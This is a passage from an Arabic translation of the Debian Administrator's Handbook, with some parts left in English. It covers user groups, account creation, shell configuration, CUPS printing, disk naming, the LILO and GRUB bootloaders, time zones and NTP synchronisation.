تسرد المجموعات في الملف /etc/group، وهو قاعدة بيانات نصية بسيطة صيغتها تشبه صيغة الملف /etc/passwd، وتحوي الحقول التالية:

اسم المجموعة؛

كلمة السر (اختياري): تستخدم فقط عند محاولة انضمام مستخدم غير عضو إلى المجموعة (باستخدام الأمر newgrp أو الأمر sg، انظر الملاحظة الجانبية أساسيات العمل مع عدة مجموعات)؛

gid: رقم تعريف فريد للمجموعة (group id)؛

لائحة الأعضاء: قائمة بأسماء المستخدمين أعضاء المجموعة، تفصل أسماؤهم بفواصل (”,“).

أساسيات العمل مع عدة مجموعات

قد ينتمي كل مستخدم لعدة مجموعات؛ أحدها تكون ”المجموعة الرئيسية“. تنشأ مجموعة المستخدم الرئيسة ‒ افتراضياً ‒ أثناء الإعداد الأولي للمستخدم. افتراضياً، ينتمي كل ملف ينشئه المستخدم للمستخدم نفسه، كما ينتمي لمجموعته الرئيسة أيضاً. هذا ليس مرغوباً دائماً؛ إذا كان المستخدم يحتاج أن يعمل في مجلد مشترك مع مجموعة تختلف عن مجموعته الرئيسة مثلاً. في تلك الحالة، على المستخدم تغيير مجموعته الرئيسة باستخدام أحد الأوامر التالية: newgrp، الذي يفتح صدفة جديدة، أو sg الذي يُنفّذ أمراً واحداً باستخدام المجموعة البديلة المعطاة ببساطة. تسمح هذه الأوامر أيضاً للمستخدم بالانضمام لمجموعة لا ينتمي إليها. إذا كانت المجموعة محمية بكلمة سر، فعلى المستخدم كتابة كلمة السر المناسبة قبل تنفيذ الأمر.

أو يستطيع المستخدم تفعيل البت setgid على المجلد بدلاً من ذلك، وهذا يجعل الملفات المنشأة في ذلك المجلد تنتمي آلياً للمجموعة الحالية. لمزيد من التفاصيل، انظر الملاحظة الجانبية أمن مجلدات setgid و ”البت اللاصق“.

يعرض الأمر id الوضع الحالي للمستخدم، مع المعرّف الشخصي للمستخدم (المتغير uid)، والمجموعة الرئيسة الحالية (المتغير gid)، ولائحة المجموعات التي ينتمي إليها المستخدم (المتغير groups).

The addgroup and delgroup commands add or delete a group, respectively. The groupmod command modifies a group's information (its gid or identifier). The command gpasswd group changes the password for the group, while the gpasswd -r group command deletes it.

تلميح getent

يتحقق الأمر getent‏ (get entries) من قواعد بيانات النظام بالطريقة القياسية، مستخدماً دوال المكتبات المناسبة، التي تستدعي بدورها وحدات NSS المحددة في الملف /etc/nsswitch.conf. يأخذ الأمر متغيراً واحداً أو متغيرين: اسم قاعدة البيانات التي يراد التحقق منها، ومفتاح البحث المطلوب. بالتالي، يعطي الأمر getent passwd rhertzog المعلومات من قاعدة بيانات المستخدمين التي تتعلق بالمستخدم rhertzog.

8.5. إنشاء الحسابات

أحد أولى الأمور التي يحتاج مدير النظام إجرائها عند إعداد جهاز جديد هو إنشاء حسابات المستخدمين. يتم هذا نموذجياً عبر الأمر adduser الذي يأخذ كمتغير اسم المستخدم الجديد الذي سينشئه.

يطرح الأمر adduser بضعة أسئلة قبل إنشاء الحساب، لكن استخدامه بسيط إلى حد ما. يتضمن ملف الضبط /etc/adduser.conf جميع الإعدادات المهمة: يمكن استخدامه لتخصيص حصة لكل مستخدم جديد من خلال إنشاء قالب للمستخدمين، أو تغيير موقع حسابات المستخدمين؛ هذا لا يفيد إلا نادراً، لكنه ينفع عندما يكون هناك عدد كبير من المستخدمين وتريد تقسيم حساباتهم بين عدة أقراص، مثلاً. يمكنك أيضاً اختيار صَدَفة افتراضية مختلفة.

أساسيات الحصة

يشير المصطلح ”حصة quota“ إلى الحد الذي يسمح للمستخدم باستهلاكه من موارد النظام. غالباً ما يستخدم المصطلح للإشارة إلى الحصص التخزينية.

يسبب إنشاء الحساب نسخ محتويات القالب /etc/skel/ إلى مجلد بيت المستخدم. هذا يعطي المستخدم مجموعة من المجلدات القياسية وملفات الإعداد.

في بعض الحالات، قد تفيد إضافة المستخدم إلى مجموعة ما (عدا عن مجموعته ”الرئيسية“ الافتراضية) لمنحه صلاحيات إضافية. مثلاً، يستطيع المستخدم الذي ينتمي للمجموعة audio الوصول لأجهزة الصوت (انظر الملاحظة الجانبية أساسيات صلاحيات الوصول للأجهزة). يمكن تحقيق هذا باستخدام أمر يشبه adduser user group.

أساسيات صلاحيات الوصول للأجهزة

يُمثَّل كل جهاز عتاد ملحق في نظام يونكس بملف خاص، يُخزَّن عادة في شجرة ملفات في المجلد /dev/ (DEVices أي الأجهزة). هناك نوعان من الملفات الخاصة حسب طبيعة الجهاز: ملفات ”الوضع المحرفي“ و ملفات ”الوضع الكتلي“، وكل وضع يسمح بعدد محدود فقط من العمليات. في حين يقيد الوضع المحرفي التفاعلات مع الملف ويحصرها بعمليتي القراءة والكتابة فقط، يسمح الوضع الكتلي أيضاً بالتنقّل (seek) ضمن البيانات المتاحة. أخيراً، يرتبط كل ملف خاص برقمين (”كبير major“ و ”صغير minor“) يحددان الجهاز بدقة للنواة. ليست هذه الملفات التي تنشأ بالأمر mknod إلا أسماء رمزية تسهل الوصول للمستخدم.

تتناسب صلاحيات الوصول للملف الخاص مع الصلاحيات اللازمة للوصول إلى الجهاز نفسه. بالتالي، تمنح صلاحيات القراءة والكتابة على الملف /dev/mixer، الذي يمثل معادل (mixer) الصوت، للمستخدم الجذر فقط وأعضاء المجموعة audio. يستطيع هؤلاء المستخدمون فقط استعمال معادل الصوت.

It should be noted that the combination of udev and policykit can add additional permissions to allow users physically connected to the console (and not through the network) to access to certain devices.

8.6. بيئة الصدفة

لعل مفسرات الأوامر (أو الصدفات) هي نقاط التماس الأولى بين المستخدم والحاسوب، ولذلك يجب أن تكون أليفة نوعاً ما. تستخدم معظم مفسرات الأوامر سكربتات تهيئة تسمح بضبط سلوكها (الإكمال التلقائي، نص المحث، الخ).

تستخدم الصدفة الافتراضية bash سكربت التهيئة /etc/bash.bashrc بالنسبة للصدفات ”التفاعلية interactive“، و /etc/profile لصدفات ”الدخول login“.

أساسيات صدفات الدخول والصدفات (غير) التفاعلية

بكلمات بسيطة، صدفة الدخول هي الصدفة التي تستدعى عندما تسجل دخولك إلى الطرفية، إما محلياً أو عن بعد باستخدام ssh، أو عندما تستدعي الأمر bash --login صراحة. قد تكون الصدفة تفاعلية (في طرفية من نوع xterm مثلاً)، أو غير تفاعلية (عند تنفيذ سكربت) بغض النظر عما إذا كانت صدفة دخول أم لا.

استكشاف صدفات أخرى وسكربتات أخرى

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses /etc/zshrc and /etc/zshenv; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

بالنسبة للمفسر bash، سيفيدك تفعيل ”الإكمال التلقائي“ في الملف /etc/bash.bashrc (فقط أزل التعليق عن بضعة أسطر).

أساسيات الإكمال التلقائي

توفر معظم مفسرات الأوامر ميزة الإكمال، التي تسمح للصدفة بإكمال اسم أمر أو متغير مكتوب جزئياً آلياً عندما يضغط المستخدم المفتاح Tab. يزيد هذا فاعلية عمل المستخدمين ويقلل الأخطاء.

This function is very powerful and flexible. It is possible to configure its behavior according to each command. Thus, the first argument following apt will be proposed according to the syntax of this command, even if it does not match any file (in this case, the possible choices are install, remove, upgrade, etc.).

The package bash-completion contains completions for most common programs.

أساسيات التيلدا، اختصار للبيت

غالباً ما تستخدم التيلدا (~) للإشارة إلى المجلد الذي يشير إليه متغير البيئة HOME (وهو مجلد بيت المستخدم، مثل /home/rhertzog/). تستبدل مفسرات الأوامر هذا الرمز آلياً: حيث تتحول ~/hello.txt إلى /home/rhertzog/hello.txt.

كما تسمح التيلدا أيضاً بالوصول إلى مجلد بيت مستخدم آخر. بالتالي، يمكن كتابة ~rmas/bonjour.txt بدلاً من كتابة /home/rmas/bonjour.txt.

بالإضافة إلى هذه السكربتات المشتركة، يستطيع كل مستخدم إنشاء ~/.bashrc و ~/.bash_profile خاصة به لضبط الصدفة التي يستعملها. أكثر التغييرات شيوعاً هي إضافة أسماء مستعارة للأوامر؛ وهي كلمات تُستبدَل باستدعاء لأمر ما آلياً، وهذا يُسرّع استدعاء ذلك الأمر. مثلاً، يمكنك إنشاء الاسم المستعار la للأمر ls -la | less؛ بعدها، كلما طبعت la سوف تسرد محتويات المجلدات بالتفصيل.

أساسيات متغيرات البيئة

تسمح متغيرات البيئة بتخزين إعدادات عامة للصدفة أو البرامج المختلفة التي تُستَدعى. هذه المتغيرات سياقية (بمعنى أن كل عملية لها مجموعة خاصة من متغيرات البيئة) لكنها موروثة. هذه الخاصة الأخيرة تسمح لصدفة الدخول بالتصريح عن المتغيرات التي ستمرر إلى جميع البرامج التي تنفذها.

ضبط متغيرات البيئة الافتراضية عنصر مهم في ضبط الصدفة. يُفضّل وضع متغيرات البيئة في الملف /etc/environment، إلا المتغيرات الخاصة بالصدفة، لأن هناك برامج متنوعة يحتمل أن تبدأ جلسة أوامر تستخدمه. من المتغيرات التي تُعرّف نموذجياً ORGANIZATION الذي يحوي عادة اسم الشركة أو المنظّمة، و HTTP_PROXY الذي يشير لوجود بروكسي HTTP ويحدد موقعه.

تلميح ضبط كل الصدفات معاً

غالباً يختار المستخدمون ضبط صدفة الدخول والصدفات التفاعلية بالشكل نفسه. لعمل ذلك، يجب طلب تفسير (أو ”source تضمين“) محتوى ~/.bashrc من الملف ~/.bash_profile. يمكن فعل الشيء نفسه بالملفات المشتركة بين جميع المستخدمين (استدعاء /etc/bash.bashrc من /etc/profile ).

8.7. ضبط الطابعات

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using the IPP (Internet Printing Protocol).

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

مجتمع CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Commmon Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters (https://salsa.debian.org/printing-team/cups-filters) package in conjunction with printer-driver-* packages. CUPS in combination with cups-filters and printer-driver-* is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Buster have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and cups-filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

As a package recommended by cups-daemon, cups-browsed will be on the system and networked print queues, and modern printers can be automatically discovered and set up from their DNS-SD broadcasts (Bonjour). USB printers will have to be set up manually as described in the next paragraph.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. There you can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. ضبط محمّل الإقلاع

الأغلب أن محمّل الإقلاع يعمل بشكل سليم، لكن من الجيد دوماً معرفة طريقة إعداد وتثبيت مُحمِّل الإقلاع في حال اختفى من سجل الإقلاع الرئيسي، خصوصاً بعد تثبيت نظام تشغيل آخر، مثل ويندوز. قد تساعدك المعلومات التالية على تعديل إعدادات محمل الإقلاع إذا احتجت لذلك.

أساسيات سجل الإقلاع الرئيسي

يحجز سجل الإقلاع الرئيسي (Master Boot Record، واختصاراً MBR) أول 512 بايت من بداية القرص الصلب الأول، وهو أول شيء يُحمّله BIOS لتسليم التحكم إلى برنامج قادر على إقلاع نظام التشغيل المطلوب. بشكل عام، يُثبَّت محمل الإقلاع في MBR، مستبدلاً محتوياته السابقة.

8.8.1. التعرف على الأقراص

ثقافة udev و /dev/

يستضيف المجلد /dev/ تقليدياً ما يدعى بالملفات ”الخاصة“، التي تُمثّل ملحقات النظام (انظر الملاحظة الجانبية أساسيات صلاحيات الوصول للأجهزة). كان هذا المجلد، في سالف العصر والأوان، يحوي جميع الملفات الخاصة التي يحتمل أن تُستخدَم. كان لهذه الطريقة عدد من المساوئ منها أنها كانت تُقيّد عدد الأجهزة التي نستطيع استخدامها (نتيجة تثبيت قائمة الأسماء)، كما كانت معرفة أي الملفات الخاصة التي تفيد فعلاً مستحيلة.

Nowadays, the management of special files is entirely dynamic and matches better the nature of hot-swappable computer devices. The kernel cooperates with udev (قسم 9.11.3, “طريقة عمل udev”) to create and delete them as needed when the corresponding devices appear and disappear. For this reason, /dev/ doesn't need to be persistent and is thus a RAM-based filesystem that starts empty and contains only the relevant entries.

تعطي النواة معلومات كثيرة عن أي جهاز يضاف حديثاً وتسلم زوجاً من الأرقام (major/minor) للتعرف عليه. تستطيع خدمة udevd باستخدام هذه المعلومات إنشاء ملف خاص بالاسم والصلاحيات التي تريدها. كما يمكنها أيضاً إنشاء أسماء مستعارة وتنفيذ إجراءات إضافية (مثل مهمات تهيئة أو تسجيل). يتحدد سلوك udevd بمجموعة كبيرة من القواعد (القابلة للتخصيص).

نتيجة استخدام الأسماء المعينة ديناميكياً، يمكنك الحفاظ على الاسم نفسه لجهاز معين بغض النظر عن الناقل المستخدم أو ترتيب التوصيل، وهذا مفيد خصوصاً عند استخدام ملحقات USB متنوعة. يمكن إعطاء القسم الأول من القرص الصلب الأول الاسم /dev/sda1 للحفاظ على التوافقية العكسية، أو الاسم /dev/root-partition إذا أحببت، أو الاثنين معاً لأنه يمكن إعداد udevd بحيث تنشئ روابط رمزية تلقائياً.

في الأيام الغابرة، كانت بعض وحدات النواة تُحمّل عند محاولة الوصول لملف الجهاز الموفق لها. لكن هذا تغير الآن، فالملفات الخاصة الموافقة للملحقات لا تظهر قبل تحميل الوحدات؛ وهذه ليست قضية تذكر، لأن معظم الوحدات تُحمَّل عند الإقلاع بفضل الاستكشاف الآلي للعتاد. لكن هذا لا يعمل مع الملحقات التي لا تكتشف (مثل سواقات الأقراص القديمة جداً أو فأرات PS/2). تستطيع إضافة الوحدات floppy و psmouse و mousedev إلى /etc/modules حتى تجبر النواة على تحميلها عند الإقلاع.

يجب أن تُميّز إعدادات محمّل الإقلاع الأقراص الصلبة وأقسامها المختلفة. تستخدم لينكس ملفات ”كتلية block“ خاصة لهذا الغرض، مُخزَّنة في المجلد /dev/. منذ دبيان سكويز، وَحَّدَت النواة لينكس أسلوب التسمية، وأصبحت جميع سواقات الأقراص الصلبة (IDE/PATA،‏ SATA،‏ SCSI،‏ USB،‏ IEEE 1394) تُمثّل الآن بملفات /dev/sd*.

يمثّل كل قسم برقمه على القرص الذي يحويه: مثلاً، /dev/sda1 هو القسم الأول من القرص الأول، و /dev/sdb3 هو القسم الثالث على القرص الثاني.

كانت معمارية الحواسيب الشخصية PC (أو ”i386“ وقريبتها الفتية ”amd64“ أيضاً) مقيّدة لفترة طويلة باستخدام صيغة ”MS-DOS“ لجداول التقسيم، التي لا تسمح بأكثر من أربع أقسام ”أولية primary“ لكل قرص. لتجاوز هذا القيد عند استخدام صيغة التقسيم هذه، يجب إنشاء أحد هذه الأقسام الأربعة كقسم ”ممتد extended“، وعندها يمكن أن يحوي هذا القسم أقساماً ”ثانوية secondary“ إضافية. يبدأ ترقيم هذه الأقسام الثانوية من الرقم 5. أي أن القسم الثانوي الأول قد يكون /dev/sda5، يتبعه /dev/sda6، الخ.

من القيود الأخرى التي تعاني منها جداول تقسيم MS-DOS هي أنها لا تسمح بسعات أقراص تتجاوز 2 تيبي بايت، وهذه باتت مشكلة حقيقية مع الأقراص الحديثة.

ظهرت صيغة تقسيم جديدة تدعى GPT تخفف القيود على عدد الأقسام (حيث تسمح بتقسيم القرص إلى 128 قسم عند استخدام الإعدادات الافتراضية) وعلى مساحة الأقراص (تسمح بالوصول إلى 8 زيتي-بايت، وهذا يزيد عن 8 مليار تيرابايت). إذا كنت تنوي إنشاء أقسام فيزيائية عديدة على القرص نفسه، عليك التأكد من إنشاء جدول التقسيم بصيغة GPT عند تقسيم القرص.

ليس سهلاً دائماً أن تتذكر أي قرص يتصل بأي متحكم SATA، أو أي قرص هو الثالث في سلسلة SCSI، خصوصاً وأن تسمية الأقراص الصلبة التي تدعم التوصيل الساخن (وهذا يشمل معظم أقراص SATA والأقراص الخارجية وغيرها) قد تتغير بعد إعادة الإقلاع. لحسن الحظ، ينشئ udev روابطاً رمزية أسماؤها ثابتة بالإضافة إلى /dev/sd*، يمكنك استخدامها إذا كنت تريد تعريف القرص الصلب بطريقة غير غامضة. تُخزَّن هذه الروابط الرمزية في /dev/disk/by-id. يمكن أن تجد التالي مثلاً على جهاز فيه قرصين فيزيائيين.

mirexpress:/dev/disk/by-id# ls -l total 0 lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1 lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2 [...] lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1 lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2 [...] lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1 [...] mirexpress:/dev/disk/by-id#

لاحظ أن بعض الأقراص قد ذكرت عدة مرات (لأنها تتصرف كأقراص ATA و SCSI في آن معاً)، لكن المعلومات المهمة هي موديل القرص ورقمه التسلسلي أساساً، التي تتيح لك التعرف على ملف الجهاز الملحق.

تعتمد ملفات الضبط المعطاة في الأمثلة في الأقسام التالية على هذا الإعداد نفسه: قرص SATA وحيد، حيث يحوي القسم الأول نسخة ويندوز سابقة والثاني يحوي دبيان غنو/لينكس.

8.8.2. ضبط LILO

LILO‏ (Linux Bootloader، أو مُحمِّل لينكس) هو أقدم محمّل إقلاع — صلب لكنه صدئ. يعتمد LILO على كتابة العنوان الفيزيائي للنواة التي ستقلع في MBR، ولهذا يجب أن تتبع كل تحديث لها (أو لملف إعدادات LILO) بالأمر lilo. إذا نسيت عمل ذلك سيعجز النظام عن الإقلاع إذا أزيلت النواة القديمة أو استبدلت لأن النواة الجديدة لن تكن في الموقع نفسه على القرص.

ملف إعدادات LILO هو /etc/lilo.conf؛ المثال التالي يبين ملفاً بسيطاً يحوي إعدادات قياسية.

مثال 8.4. ملف إعداد LILO

# The disk on which LILO should be installed. # By indicating the disk and not a partition. # you order LILO to be installed on the MBR. boot=/dev/sda # the partition that contains Debian root=/dev/sda2 # the item to be loaded by default default=Linux # the most recent kernel image image=/vmlinuz label=Linux initrd=/initrd.img read-only # Old kernel (if the newly installed kernel doesn't boot) image=/vmlinuz.old label=LinuxOLD initrd=/initrd.img.old read-only optional # only for Linux/Windows dual boot other=/dev/sda1 label=Windows

8.8.3. ضبط GRUB 2

GRUB‏ (Grand Unified Bootloader ، أو مُحمِّل الإقلاع الموحد الكبير) هو محمّل إقلاع أحدث. لا يشترط استدعاؤه بعد كل تحديث للنواة؛ إذ أن GRUB يعرف كيف يقرأ نظم الملفات ويعثر على القسم الذي يحوي النواة على القرص وحده. لتثبيت GRUB على MBR القرص الأول، فقط اطبع grub-install /dev/sda.

ملاحظة أسماء الأقراص من وجهة نظر GRUB

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. GRUB avoids this problem nowadays by using UUIDs or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

للأقسام أيضاً أسماء خاصة في GRUB. عند استخدام الأقسام ”الكلاسيكية“ بصيغة MS-DOS، يدعى القسم الأول بالاسم (hd0,msdos1)، والثاني (hd0,msdos2)، الخ.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober lists other operating systems (Windows, OS X, Hurd).

8.9. الإعدادات الأخرى: مزامنة الوقت، السجلات، مشاركة الوصول…

تفيدك معرفة العناصر العديدة المذكورة في هذا القسم إذا كنت تريد إتقان جميع نواحي ضبط نظم غنو/لينكس. لكننا سنشرحها باختصار على أي حال، وسوف نشير غالباً للوثائق المناسبة.

8.9.1. المنطقة الزمنية

أساسيات الروابط الرمزية

الرابط الرمزي (symbolic link) هو مؤشر لملف آخر. عندما تفتحه، سوف يفتح الملف الذي يشير إليه. لا تسبب إزالة الرابط حذف الملف الذي يشير له. كما أن الرابط لا يملك مجموعة صلاحيات خاصة به، بل يحتفظ بصلاحيات الهدف بدلاً من ذلك. أخيراً، يستطيع الرابط الرمزي الإشارة لأي نوع من الملفات: الملفات الخاصة (المقابس الشبكية، الأنابيب المسمّاة، ملفات الأجهزة، الخ)، أو المجلدات، أو حتى الروابط الرمزية الأخرى.

ينشئ الأمر ln -s target link-name رابطاً رمزياً، اسمه link-name، يشير إلى target.

إذا لم يكن الهدف موجوداً، عندها يكون الرابط ”معطوباً broken“ وسينتج عن محاولة فتحه خطأ يبيّن أن الملف الهدف غير موجود. إذا أشار الرابط إلى رابط آخر، ستحصل على ”سلسلة“ من الروابط التي تتحول إلى ”حلقة cycle“ إذا كان أحد الأهداف يشير إلى أحد أسلافه في السلسلة. في هذه الحالة، سينتج عن فتح أحد الروابط في الحلقة خطأ خاص (”مستويات الروابط الرمزية كثيرة جداً“)؛ هذا يعني استسلام النواة بعد عدة دورات في الحلقة.

المنطقة الزمنية، التي تضبط أثناء التثبيت الأولي، هي أحد إعدادات الحزمة tzdata. لتعديلها، استخدم الأمر dpkg-reconfigure tzdata، الذي يسمح لك باختيار المنطقة الزمنية التي تريد استخدامها بطريقة تفاعلية. تُخزَّن الإعدادات في الملف /etc/timezone. بالإضافة لذلك، ينسخ الملف الموافق للمنطقة المختارة من المجلد /usr/share/zoneinfo إلى /etc/localtime؛ يحوي هذا الملف القواعد التي تحكم التواريخ التي يعتمد فيها التوقيت الصيفي، في الدول التي تستخدم هذا التوقيت.

عندما تحتاج تعديل المنطقة الزمنية مؤقتاً، استخدم متغير البيئة TZ، فأولوية هذا المتغير أعلى من القيمة الافتراضية المعطاة للنظام.

$ date Thu Feb 19 11:25:18 CET 2015 $ TZ="Pacific/Honolulu" date Thu Feb 19 00:25:21 HST 2015

ملاحظة ساعة النظام، ساعة العتاد

هناك مصدرين للوقت في الحاسوب. تحوي اللوحة الأم في الحاسوب ساعة عتادية، تدعى ”ساعة CMOS“. هذه الساعة غير دقيقة تماماً، وقراءة قيمتها بطيئة نوعاً ما. تحوي نواة النظام ساعة برمجية خاصة بها، التي تحافظ النواة على قيمتها الصحيحة بأساليب خاصة (قد تستعين بمخدمات زمنية مثلاً، انظر قسم 8.9.2, “مزامنة التوقيت”). ساعة النظام هذه أدق عموماً، خاصةً أنها لا تحتاج الولوج إلى متغيرات عتادية. لكن بما أنها تعيش فقط في الذاكرة الحية، فهي تصفر كلما أقلع الجهاز، بعكس ساعة CMOS، التي تزود ببطارية وبالتالي ”تنجو“ من عمليات إعادة الإقلاع أو إيقاف تشغيل الجهاز. بالتالي، تأخذ ساعة النظام قيمتها من ساعة CMOS أثناء الإقلاع، وتُحدَّث قيمة ساعة CMOS عند إيقاف التشغيل (لتسجيل أي تغييرات أو تصحيحات إذا كانت قيمتها السابقة غير مضبوطة بشكل صحيح).

عملياً، هناك مشكلة، لأن ساعة COS ليست إلا عداداً لا يملك أي معلومات عن المنطقة الزمنية. هناك مجال للاختيار بخصوص تفسير قيمة هذا العداد: إما أن يعتبر النظامُ أن العداد يعطي قيمة التوقيت العالم (UTC، سابقاً GMT)، أو التوقيت المحلي. قد يكون هذا الخيار مجرد إزاحة بسيطة، لكن الأمور أعقد من ذلك حقيقة: فهذه الإزاحة ليست ثابتة. نتيجة استخدام التوقيت الصيفي. بالتالي، لا يملك النظام طريقة يحدد فيها صحة هذه الإزاحة، خصوصاً في الأيام القريبة من فترة تغيير التوقيت. بما أن حساب التوقيت المحلي ممكن دوماً عند معرفة التوقيت العالمي ومعلومات المنطقة الزمنية، فنحن ننصح بشدة ضبط ساعة CMOS على التوقيت العالمي.

لسوء الحظ، تتجاهل نظم ويندوز في إعداداتها الافتراضية هذه التوصية، وتضبط ساعة CMOS على التوقيت المحلي، وتُغيّر التوقيت عند إقلاع الحاسوب عبر محاولة أن تخمن هل طُبِّقت التغييرات على التوقيت فعلاً أم لا في أوقات تغيير التوقيت الصيفي. يعمل هذا الأسلوب بشكل جيد نسبياً، طالما أن الجهاز يعمل بنظام ويندوز فقط. لكن عندما يحوي الحاسوب عدة أنظمة (سواء عبر إعداد ”إقلاع مزدوج“ أو تشغيل نظم أخرى باستخدام حواسيب ظاهرية)، تحدث فوضى، ولا تبقى هناك وسيلة لمعرفة صحة الوقت. إذا كنت مضطراً لإبقاء ويندوز على الحاسوب، عليك أن تضبطه بحيث يترك ساعة CMOS على توقيت UTC (عبر ضبط قيمة مفتاح الريجستري HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal إلى ”1“ كقيمة DWORD)، أو أن تستخدم hwclock --localtime --set على نظام دبيان لضبط الساعة العتادية ووضع علامة تتبع التوقيت المحلي عليها (وتأكد من فحص الساعة يدوياً في الربيع والخريف).

8.9.2. مزامنة التوقيت

مزامنة التوقيت، التي يبدو استخدامها على حاسوب واحد إسرافاً، مهمة جداً في الشبكات. بما أن المستخدمين لا يستطيعون تعديل التاريخ والوقت، فمن المهم الحفاظ على دقة هذه المعلومات لمنع الارتباك. بالإضافة لذلك، تسمح مزامنة جميع الحواسيب على الشبكة بمقاطعة معلومات السجلات من عدة أجهزة. وبالتالي، إذا حدث هجوم، يسهل إعادة بناء التسلسل الزمني للأحداث التي جرت على الأجهزة المختلفة التي شملها الاختراق. كما أن البيانات التي تجمعها من عدة أجهزة للأغراض الإحصائية لن تفيد كثيراً إذا لم تكن متزامنة.

أساسيات NTP

يسمح NTP‏ (Network Time Protocol، أو بروتوكول توقيت الشبكات) للأجهزة بالمزامنة مع غيرها بدقة مقبولة، مع اعتبار التأخيرات الناتجة عن نقل المعلومات عبر الشبكة وغيرها من الانزياحات المحتملة.

رغم أن هناك مخدمات NTP عديدة على الإنترنت، إلا أن أشهر هذه المخدمات قد تكون محمّلة بشكل زائد، لذلك ننصح باستخدام المخدم pool.ntp.org وهو في الحقيقة مجموعة من الأجهزة التي اتفقت لتعمل كمخدمات NTP عامة. بل يمكنك أيضاً تحديد الاستخدام بمجموعة فرعية خاصة بدولة ما، باستخدام us.pool.ntp.org للولايات المتحدة مثلاً، أو ca.pool.ntp.org بالنسبة لكندا، الخ.

